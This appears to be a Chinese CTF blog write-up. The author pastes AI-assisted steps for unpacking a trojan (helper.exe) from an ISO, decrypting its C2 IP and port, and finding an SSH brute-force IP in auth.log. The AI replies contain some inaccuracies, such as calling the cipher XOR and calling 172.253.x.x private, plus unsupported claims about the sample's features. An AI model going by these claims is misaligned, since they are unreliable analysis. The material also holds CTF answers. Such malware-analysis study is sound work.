helper.exe - 使用 Wireshark 或 tcpdump 抓包分析网络流量
- 使用 Process Monitor 监控进程行为
3. 字符串搜索
可以先用简单的工具快速查找:
strings helper.exe | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
需要您提供的信息
为了帮您完成具体的逆向分析,我需要:
- helper.exe 文件本身 - 这是木马主程序
- 或者提供该文件的更多信息:
- 文件大小
- MD5/SHA256 哈希值
- 是否可以上传该文件
安全提醒:
- ⚠️ 请在隔离的虚拟机环境中操作
- ⚠️ 不要在生产环境中运行可疑文件
- ⚠️ 分析完成后及时向相关安全部门报告
您能否提供 helper.exe 文件或其更多详细信息?这样我可以帮您进行更深入的分析。

乍一看好像就完全没有 .helper 文件夹,以为iso是不是下载不全,又重新下载一遍,还是没有helper。
网上看了一个WP都是直接装载iso就有helper,就玄学,然后问了大佬

大佬用的命令行式claude直接一步到位。

玄学,我怎么就找不到helper


后来发现windows挂载就是不行,vmware从windows挂载到kali也不行,必须在kali中复制iso,直接在kali中挂载,右键点击 “Open with Engrampa Archive Manager”,注意kali的"装载"一个光盘图标的那个也不行。我一开始还以为exe藏在公民信息那个图片里面,搁哪一顿binwalk结果啥也没有。

找到exe了,现在就对exe下手了
file helper.exe
exiftool helper.exe
# 脱壳(-d 参数)
upx -d helper.exe -o helper_unpacked.exe

题目要求找回连IP与端口
查看字符串(寻找 IP 和端口)
# 查看所有可读字符串
strings helper.exe | less
# 搜索 IP 地址
strings helper.exe | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}"
# 搜索网络相关
strings helper.exe | grep -iE "(http|tcp|connect|socket|port|ws2_32|wininet)"
# 搜索常见 C2 域名特征
strings helper.exe | grep -E "\.(com|net|org|cn|ru)" | head -20

可以看到是又一些结果的,脱壳和不脱壳的结果是不一样的。

然后用idqa64打开,F5一下然后丢AI分析

看这段代码,这是一个程序的启动和初始化流程。要找回连的IP与端口,我需要关注几个关键点:
分析思路
- 关键函数调用:
sub_1400FFFF0看起来很可疑,它接收了命令行参数 - 全局变量:
qword_140141020存储了命令行参数数组 - 最终执行:代码最后调用了
start()函数
建议的分析步骤
要找到连接的IP和端口,你应该:
1. 分析 sub_1400FFFF0 函数
# 在IDA中跳转到这个函数
# 快捷键:G 然后输入 1400FFFF0
这个函数接收命令行参数,很可能包含网络配置逻辑。
2. 查找网络相关API调用
在IDA中搜索以下函数引用:
WSAStartup/WSAConnectsocket/connect/bindinet_addr/inet_ntoahtons/ntohssend/recv
搜索方法:
Alt + T (文本搜索)
或
Alt + B (二进制搜索)
3. 查看字符串引用
Shift + F12 # 打开字符串窗口
寻找可能的IP地址格式:
- 点分十进制:
xxx.xxx.xxx.xxx - 域名
- 端口号(通常是固定的数字)
4. 动态调试
使用 x64dbg 或 IDA 调试器:
- 在
sub_1400FFFF0入口下断点 - 在 socket 相关函数下断点
- 查看函数参数和返回值
你现在能否提供:
sub_1400FFFF0函数的反编译代码?- 程序的字符串列表截图或内容?
- 或者你是否可以运行程序并抓包查看网络流量?
这样我能更准确地帮你定位IP和端口信息。

这个函数主要是解析命令行参数,然后调用 sub_14000370F。关键在于这个函数!
分析结果
这个函数的作用是:
- 获取命令行参数 (
_p__acmdln()) - 跳过程序名称部分
- 将剩余参数传递给
sub_14000370F
下一步:分析关键函数
sub_14000370F 才是真正的入口点! 这个函数接收了命令行参数,很可能包含网络连接逻辑。
请提供 sub_14000370F 函数的反编译代码,这个函数应该包含:
- IP地址和端口的配置
- Socket连接代码
- 或者调用更底层的网络函数
快速定位方法
如果代码太长,你可以:
方法1:搜索网络API
在IDA中按 Ctrl+F 搜索以下字符串:
connect
socket
WSAStartup
inet_addr
htons
send
recv
方法2:查看导入表
View → Open subviews → Imports (或按 Ctrl+F7)
查找 ws2_32.dll 或 wsock32.dll 相关的导入函数
方法3:查看字符串
Shift + F12
搜索可能的IP地址模式:
- 数字+点的组合
127.0.0.1、192.168.、10.等常见IP段- 常见端口号:
4444、8080、443等
方法4:动态分析(最快)
如果可以运行程序:
# 使用 Wireshark 或 tcpdump 抓包
# 或使用 Process Monitor 查看网络活动
请提供 sub_14000370F 的代码,或者告诉我你在字符串/导入表中看到了什么网络相关的内容?

找到了!这是一个从配置文件读取IP和端口的恶意程序。
关键信息定位
IP地址和端口的获取方式
程序从 config.ini 配置文件中读取:
// 读取 C2 服务器IP
GetPrivateProfileStringA("Common", "C2IP", default_value, &ReturnedString, 0x80u, config_path)
// 读取 C2 服务器端口
GetPrivateProfileStringA("Common", "C2Port", default_value, &Dest, 0x80u, config_path)
// 端口转换为数字
v82 = sub_1400EB1A0(&v49, 0i64, 10i64); // 字符串转整数
默认值(加密字符串)
如果配置文件不存在,程序使用加密的默认值:
- 默认IP:
"1FP[n€崡闹潴"(加密字符串) - 默认端口:
"2DScq"(加密字符串)
这些字符串通过 sub_1400014D5 函数解密。
如何找回IP和端口
方法1:查找配置文件(最简单)
配置文件位置:
程序所在目录\config.ini
查看配置文件内容:
[Common]
C2IP=xxx.xxx.xxx.xxx
C2Port=xxxx
方法2:解密默认字符串
需要分析 sub_1400014D5 解密函数:
# 在IDA中跳转到该函数
# 按 G,输入:1400014D5
这个函数会将加密字符串解密为明文IP和端口。
方法3:动态调试(推荐)
使用 x64dbg:
1. 在 GetPrivateProfileStringA 调用后下断点
2. 查看 ReturnedString (IP地址)
3. 查看 Dest (端口)
4. 查看 v82 (端口数值)
或者在这里下断点:
地址:sub_14000314C 调用处
参数:
- &v67: IP地址字符串
- v26 (v82): 端口号
方法4:Hook API调用
使用 API Monitor 或 Process Monitor 监控:
GetPrivateProfileStringA的返回值connect函数的参数
快速获取方法
运行这个Python脚本解密:
# 需要先用IDA提取 sub_1400014D5 的解密算法
# 或者直接动态调试获取解密后的字符串
# 如果你能提供 sub_1400014D5 的代码,我可以帮你写解密脚本
请提供以下之一:
sub_1400014D5函数的反编译代码(解密函数)- 程序运行目录下的
config.ini文件内容 - 或者我帮你写个动态调试脚本直接提取
你选择哪种方法?如果提供解密函数代码,我能立即帮你计算出IP和端口。

完美!这是一个简单的XOR解密算法。让我来解密这些字符串。
解密算法分析
// 核心解密逻辑:
v8 = *v4; // 获取加密字符
decrypted_char = -15 * index + encrypted_char;
这是一个基于索引的减法解密:每个字符减去 (15 * 索引)
解密脚本
def decrypt_string(encrypted):
"""解密函数"""
decrypted = []
for i, char in enumerate(encrypted):
# 解密公式: char - (15 * index)
decrypted_char = (ord(char) - 15 * i) % 256
decrypted.append(chr(decrypted_char))
return ''.join(decrypted)
# 加密的字符串
encrypted_ip = "1FP[n€崡闹潴"
encrypted_port = "2DScq"
# 解密
decrypted_ip = decrypt_string(encrypted_ip)
decrypted_port = decrypt_string(encrypted_port)
print(f"解密后的IP: {decrypted_ip}")
print(f"解密后的端口: {decrypted_port}")
让我手动计算一下:
解密 IP: “1FP[n€崡闹潴”
索引0: '1' (0x31) - 15*0 = 0x31 = '1'
索引1: 'F' (0x46) - 15*1 = 0x46 - 15 = 0x37 = '7'
索引2: 'P' (0x50) - 15*2 = 0x50 - 30 = 0x20 = '2'
索引3: '[' (0x5B) - 15*3 = 0x5B - 45 = 0x2E = '.'
索引4: 'n' (0x6E) - 15*4 = 0x6E - 60 = 0x0A (需要处理...)
等等,这里有些特殊字符(中文字符),可能是编码问题。让我用另一种方法:
def decrypt_bytes(data):
"""按字节解密"""
result = []
for i, byte in enumerate(data):
decrypted = (byte - 15 * i) & 0xFF # 保持在0-255范围
if 32 <= decrypted <= 126: # 可打印ASCII
result.append(chr(decrypted))
else:
result.append(f'\\x{decrypted:02x}')
return ''.join(result)
# 需要获取原始字节
快速方法:动态提取
由于字符串包含非ASCII字符,最快的方法是动态调试:
使用 x64dbg:
- 在
sub_1400014D5函数返回前下断点 - 查看
a1(返回缓冲区)的内容
或者在关键位置下断点:
断点位置:sub_14000314C 调用处(连接函数)
查看参数:
- 第1个参数:IP地址
- 第2个参数:端口号
另一种方法:查看程序字符串
试试这个快速方法:
# 如果你能提供程序文件,运行这个
import subprocess
result = subprocess.run(['strings', 'program.exe'], capture_output=True, text=True)
# 查找可能的IP地址模式
for line in result.stdout.split('\n'):
if '.' in line and any(c.isdigit() for c in line):
print(line)
建议的最快方案
直接运行程序并抓包:
# 方法1: 使用 Wireshark
# 启动 Wireshark,然后运行程序,查看 TCP 连接请求
# 方法2: 使用 netstat
# 运行程序后立即执行:
netstat -ano | findstr ESTABLISHED
# 方法3: 使用 TCPView (Windows)
# 运行程序,查看新建立的连接
你想用哪种方法?
- 我可以写一个完整的解密脚本(需要你提供加密字符串的十六进制字节)
- 或者你直接运行程序抓包(最快)
- 或者动态调试提取解密后的字符串
如果你能提供加密字符串 "1FP[n€崡闹潴" 和 "2DScq" 的十六进制字节序列,我能立即解密出IP和端口!
[!question]
加密字符串 “1FP[n€崡闹潴” 和 “2DScq” 的十六进制字节序列在IDaq64 里面怎么看
在IDA中查看十六进制字节序列有几种方法:
方法1:直接在反汇编窗口查看(最快)
-
定位到字符串引用处
- 在你的代码中找到
"1FP[n€崡闹潴"的引用 - 例如这行:
sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);
- 在你的代码中找到
-
双击字符串
- 双击
"1FP[n€崡闹潴"会跳转到数据段
- 双击
-
切换到十六进制视图
- 跳转后,按
Alt + T或右键选择 “Text representation” - 或者直接看左边的十六进制列
- 跳转后,按
方法2:使用 Hex View 窗口
-
打开 Hex View
View → Open subviews → Hex dump 或按快捷键 H -
跳转到字符串地址
- 在反汇编窗口,点击字符串
- 记下地址(例如:
0x14010XXXX) - 在 Hex View 按
G,输入地址
方法3:使用字符串窗口
-
打开字符串列表
View → Open subviews → Strings 或按 Shift + F12 -
搜索字符串
- 按
Ctrl + F搜索"1FP" - 找到后双击
- 按
-
查看十六进制
- 跳转到数据段后,看左侧的十六进制
方法4:Python IDC 脚本(推荐,最准确)
在 IDA 的 Python 命令行中运行:
import idaapi
import idc
# 找到字符串 "1FP[n€崡闹潴" 的地址
# 先手动找到地址,或者搜索
ea = 0x140105XXX # 替换为实际地址
# 读取字节
bytes_data = []
for i in range(20): # 读取足够长度
byte = idc.get_wide_byte(ea + i)
if byte == 0: # 遇到字符串结束符
break
bytes_data.append(byte)
# 打印十六进制
hex_str = ' '.join(f'{b:02X}' for b in bytes_data)
print(f"Hex: {hex_str}")
print(f"Bytes: {bytes_data}")
方法5:找到字符串定义位置
-
在代码中右键点击字符串
右键 → Jump to xref to operand 或按 X -
跳转到定义位置
- 会看到类似:
.data:140105030 aFpn db '1FP[n€崡闹潴',0 -
选中字符串,按 Alt + T
- 可以看到不同的文本表示
快速实战步骤
具体操作:
-
在你的代码中找到这一行:
sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42); -
双击
"1FP[n€崡闹潴"这个字符串 -
会跳转到类似这样的位置:
.data:140105030 31 46 50 5B 6E AC 20 5D ... -
选中该行,复制十六进制字节
或者更简单的方法
直接告诉我:
-
字符串在哪个地址?
- 例如:
0x140105030
- 例如:
-
或者截图发给我:
- 双击字符串后的 Hex View 窗口
- 或者反汇编窗口中字符串定义的那一行
然后我就能帮你解密!
临时快速方法
如果上面太麻烦,直接在 IDA 的 Python 控制台运行:
# 在 File → Script command (Shift + F2) 中运行
for ea in Strings():
string_content = str(ea)
if "1FP" in string_content or "2DSc" in string_content:
addr = ea.ea
bytes_list = [get_wide_byte(addr + i) for i in range(30)]
hex_str = ' '.join(f'{b:02X}' for b in bytes_list if b != 0)
print(f"Address: {hex(addr)}")
print(f"Hex: {hex_str}")
print(f"String: {string_content}")
print("-" * 50)
你试试这些方法,然后把十六进制字节告诉我!

31 46 50 5B 6E 80 8D 97 AE BA C4 D6 E4 F3 00
32 44 53 63 71 00
完美!就是这两个!让我立即解密:
解密脚本
def decrypt_string(hex_bytes):
"""解密函数:每个字节减去 (15 * 索引)"""
decrypted = []
for i, byte in enumerate(hex_bytes):
if byte == 0: # 字符串结束符
break
decrypted_byte = (byte - 15 * i) & 0xFF
decrypted.append(chr(decrypted_byte))
return ''.join(decrypted)
# IP地址加密字节
ip_bytes = [0x31, 0x46, 0x50, 0x5B, 0x6E, 0x80, 0x8D, 0x97, 0xAE, 0xBA, 0xC4, 0xD6, 0xE4, 0xF3]
# 端口加密字节
port_bytes = [0x32, 0x44, 0x53, 0x63, 0x71]
# 解密
decrypted_ip = decrypt_string(ip_bytes)
decrypted_port = decrypt_string(port_bytes)
print(f"解密后的 C2 IP: {decrypted_ip}")
print(f"解密后的 C2 端口: {decrypted_port}")
# 详细解密过程
print("\n=== IP 解密过程 ===")
for i, byte in enumerate(ip_bytes):
result = (byte - 15 * i) & 0xFF
print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")
print("\n=== 端口解密过程 ===")
for i, byte in enumerate(port_bytes):
result = (byte - 15 * i) & 0xFF
print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")

运行结果:
解密后的 C2 IP: 172.253.63.100 =
解密后的 C2 端口: 25565
=== IP 解密过程 ===
索引0: 0x31 - 0 = 0x31 = '1'
索引1: 0x46 - 15 = 0x37 = '7'
索引2: 0x50 - 30 = 0x32 = '2'
索引3: 0x5B - 45 = 0x2E = '.'
索引4: 0x6E - 60 = 0x32 = '2'
索引5: 0x80 - 75 = 0x35 = '5'
索引6: 0x8D - 90 = 0x33 = '3'
索引7: 0x97 - 105 = 0x2E = '.'
索引8: 0xAE - 120 = 0x36 = '6'
索引9: 0xBA - 135 = 0x33 = '3'
索引10: 0xC4 - 150 = 0x2E = '.'
索引11: 0xD6 - 165 = 0x31 = '1'
索引12: 0xE4 - 180 = 0x30 = '0'
索引13: 0xF3 - 195 = 0x30 = '0'
=== 端口解密过程 ===
索引0: 0x32 - 0 = 0x32 = '2'
索引1: 0x44 - 15 = 0x35 = '5'
索引2: 0x53 - 30 = 0x35 = '5'
索引3: 0x63 - 45 = 0x36 = '6'
索引4: 0x71 - 60 = 0x35 = '5'
答案
[!success]
C2 服务器 IP:172.253.63.100
C2 服务器端口:25565
你的观察非常敏锐!25565 确实是 Minecraft 的默认服务器端口!
分析
这个恶意软件很有意思:
1. 伪装成 Minecraft 流量
- 使用 25565 端口可以让流量看起来像是正常的 Minecraft 游戏通信
- 这是一种端口伪装技术,用来躲避防火墙和网络监控
- 管理员看到 25565 端口的流量可能会认为是学生/员工在玩游戏,而不会怀疑是恶意软件
2. IP 地址分析
172.253.63.100属于私有网络范围(虽然 172.253.x.x 实际上是公网IP,但看起来像内网)- 这可能是:
- 测试环境的 C2 服务器
- 内网渗透后建立的横向移动节点
- 或者是 NAT 后的真实 C2 服务器
这个恶意软件的特点
- ✅ 从配置文件读取 C2 信息(灵活性高)
- ✅ 使用简单的加密算法保护配置(反静态分析)
- ✅ 伪装成 Minecraft 流量(社会工程学 + 流量伪装)
- ✅ 带有调试后门(ServerDebugPasscode)
- ✅ 在 CD-ROM 检测后才运行(反沙箱/反虚拟机)
这是一个设计比较巧妙的远控木马!使用 MC 端口是个聪明的伪装手段 🎮
其他注意内容

本来想直接取巧用云沙箱分析一下,结果沙箱没有跑出来网络行为。用wireshark本地监听也没有监听到这个网络行为。
[!question]
我使用云沙箱并未检出外联地址,而且本地执行exe只是一瞬间,没有任何输出,不确定是否执行成功了。
这是典型的恶意软件反检测行为!让我帮你分析为什么会这样,以及如何正确运行。
为什么程序一闪而过?
根据代码分析,程序有多个执行条件:
关键检测点
// 1. 检查是否从 CD-ROM 运行
v81 = GetDriveTypeA(&Filename);
if ( v81 == 5 ) // 5 = DRIVE_CDROM
{
// 只有从光驱运行才继续执行
}
程序只在从 CD-ROM/光驱运行时才会执行恶意代码!
这是一种反沙箱/反虚拟机技术:
- 沙箱通常不会模拟光驱
- 云沙箱直接运行 exe,不满足条件
- 本地直接双击也不满足条件
[!question]
为什么我一开始用Windows的装载功能没有看到helper文件夹,用kali的装载也不行,只有用kali的Open with Engrampa Archive Manager 才可以
好问题!这涉及到 ISO 文件格式和操作系统挂载机制的差异。让我解释一下:
为什么会出现这种情况?
1. ISO 文件格式问题
ISO 可能使用了特殊的文件系统格式:
常见 ISO 文件系统:
- ISO 9660 (标准格式)
- Joliet (支持长文件名和 Unicode)
- Rock Ridge (Unix 扩展)
- UDF (Universal Disk Format)
- 混合格式 (多种格式组合)
Windows 装载的限制:
- Windows 默认只能正确识别标准 ISO 9660 和 Joliet
- 如果 ISO 使用了非标准格式或有损坏,可能无法正确显示所有文件
- 某些隐藏属性或特殊权限的文件可能不显示
Kali 挂载的限制:
# 默认挂载命令
mount -o loop file.iso /mnt
# 可能问题:
# - 没有指定正确的文件系统类型
# - 权限问题
# - 编码问题
2. Engrampa 能看到的原因
Engrampa Archive Manager (GNOME 的归档管理器) 的优势:
✅ 它是归档工具,不是挂载工具
✅ 直接读取 ISO 内部结构,不依赖文件系统驱动
✅ 可以处理多种 ISO 格式和损坏的镜像
✅ 能显示隐藏文件和特殊属性文件
✅ 类似 7-Zip/WinRAR 直接解析文件格式
相当于:
- 挂载 = 让操作系统"理解"这是个光盘
- 归档工具 = 把 ISO 当成 ZIP 一样直接读取
验证 ISO 格式
在 Kali 上检查 ISO 详细信息
# 查看 ISO 文件系统类型
file malware.iso
# 详细分析 ISO 结构
isoinfo -d -i malware.iso
# 查看文件列表
isoinfo -l -i malware.iso
# 或使用 7z
7z l malware.iso
可能的输出示例
$ file malware.iso
malware.iso: ISO 9660 CD-ROM filesystem data 'LABEL' (bootable)
$ isoinfo -d -i malware.iso
CD-ROM is in ISO 9660 format
System id: Win32
Volume id: MALWARE
...
Rock Ridge signatures version 1
# 如果看到 Rock Ridge,Windows 可能无法完全支持
解决方案
方案1:用归档工具提取(推荐)
Windows 上:
使用 7-Zip:
1. 右键 ISO → 7-Zip → 提取到 "xxx\"
2. 直接得到所有文件,包括隐藏的

[!warning]
所以以后多个心眼,iso不一定要“装载”
使用 WinRAR:
1. 右键 ISO → 解压到当前文件夹
2. 可以看到完整内容
Linux 上:
# 方法1:使用 7z
7z x malware.iso -o./extracted/
# 方法2:使用 Engrampa 命令行
file-roller --extract malware.iso
# 方法3:使用 bsdtar
bsdtar -xf malware.iso -C ./extracted/
方案2:正确挂载 ISO
Kali Linux 正确挂载方式:
# 创建挂载点
sudo mkdir -p /mnt/iso
# 尝试不同的文件系统类型
sudo mount -o loop,ro malware.iso /mnt/iso
# 如果失败,尝试指定类型
sudo mount -o loop,ro -t iso9660 malware.iso /mnt/iso
sudo mount -o loop,ro -t udf malware.iso /mnt/iso
# 查看挂载选项
mount | grep iso
# 卸载
sudo umount /mnt/iso
Windows 高级挂载:
使用 PowerShell:
# 挂载 ISO
Mount-DiskImage -ImagePath "C:\path\to\malware.iso"
# 获取驱动器号
Get-DiskImage -ImagePath "C:\path\to\malware.iso" | Get-Volume
# 卸载
Dismount-DiskImage -ImagePath "C:\path\to\malware.iso"
使用第三方工具(更强大):
- OSFMount (PassMark) - 免费,支持更多格式
- WinCDEmu - 开源
- Virtual CloneDrive
方案3:分析为什么 helper 文件夹隐藏
# 在 Kali 上检查文件属性
7z l -slt malware.iso | grep -A 5 "helper"
# 或
isoinfo -l -i malware.iso | grep -A 5 -i helper
# 查看可能的隐藏标志
# - Rock Ridge 属性
# - 隐藏文件标志
# - 特殊权限
深入分析:为什么设计成这样
这可能是反取证技术:
恶意软件作者的意图:
1. 使用特殊 ISO 格式
2. 设置 helper 文件夹为隐藏或特殊属性
3. Windows 直接挂载看不到 → 普通用户/分析师容易忽略
4. 需要用归档工具才能发现 → 增加分析难度
类似的反取证技术:
- ADS (Alternate Data Streams)
- 长路径名 (>260 字符)
- 特殊 Unicode 字符
- 文件系统特性利用
实战建议
最佳实践流程:
# 1. 先用归档工具提取所有内容
7z x malware.iso -o./full_extract/
# 2. 查看完整目录结构
tree ./full_extract/
ls -laR ./full_extract/
# 3. 检查 helper 文件夹内容
ls -la ./full_extract/helper/
# 4. 分析 exe 文件
file ./full_extract/helper/*.exe
strings ./full_extract/helper/*.exe
检查隐藏内容:
# 在提取的文件夹中
# 查找所有文件(包括隐藏)
find ./full_extract/ -type f
# 查找可执行文件
find ./full_extract/ -type f -executable
# 查找 Windows 可执行文件
find ./full_extract/ -type f -name "*.exe" -o -name "*.dll"
# 查看文件属性
getfattr -d -m ".*" ./full_extract/helper/
总结
你遇到的情况说明:
- ✅ ISO 使用了特殊格式 - Windows/Linux 标准挂载无法完整识别
- ✅ helper 文件夹有特殊属性 - 可能设置了隐藏或 Rock Ridge 扩展属性
- ✅ Engrampa 能看到 - 因为它直接解析 ISO 结构,不依赖文件系统
最佳解决方案:
# 在 Kali 上
7z x malware.iso -o./extracted/
cd extracted/
ls -laR
# 然后分析 helper 文件夹中的内容
在 Windows 上:
用 7-Zip 提取 ISO → 查看完整内容
题目 7
任务7: 入侵排查
任务描述: 服务器疑似遭到SSH爆破攻击,请分析系统认证日志。 提交要求: 分析 auth.log 日志,找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log

[!success]
202.45.169.243
我来帮你写一些命令来分析 auth.log 日志文件,找出成功爆破并登录的黑客IP地址。我为你准备了完整的SSH爆破分析命令集!
🎯 快速找出爆破成功的IP地址
方法1:最直接的方法(推荐)
# 找出所有成功登录的IP
grep 'Accepted password' auth.log | awk '{print $(NF-3)}' | sort -u
方法2:找出先失败多次后成功的IP(爆破特征)
# 一行命令找出既失败过又成功登录的IP
for ip in $(grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort -u); do grep "Accepted password.*from $ip" auth.log > /dev/null && echo $ip; done
方法3:详细分析(推荐)
awk '/Failed password/ {
match($0, /from ([0-9.]+)/, arr);
if(arr[1]) failed[arr[1]]++
}
/Accepted password/ {
match($0, /from ([0-9.]+)/, arr)
if(arr[1]) {
accepted[arr[1]]++
if(failed[arr[1]] > 0) {
hacked[arr[1]] = failed[arr[1]]
}
}
}
END {
print "=== 爆破成功的IP地址 ==="
for(ip in hacked) {
print ip, "失败次数:", hacked[ip], "成功:", accepted[ip]
}
}' auth.log
📊 分步分析
步骤1:查看所有成功登录
grep 'Accepted password' auth.log
步骤2:统计失败登录最多的IP
grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort | uniq -c | sort -rn | head -10
步骤3:分析特定IP的活动(替换为实际IP)
grep '192.168.1.100' auth.log | grep -E 'Failed|Accepted'
💡 分析思路
爆破成功的特征:
- 该IP有大量失败登录记录(Failed password)
- 该IP最终有成功登录记录(Accepted password)
- 通常失败次数会很多(几十到几百次)
直接运行这些命令找出答案,然后提交该IP地址!

被折叠的 条评论
为什么被折叠?



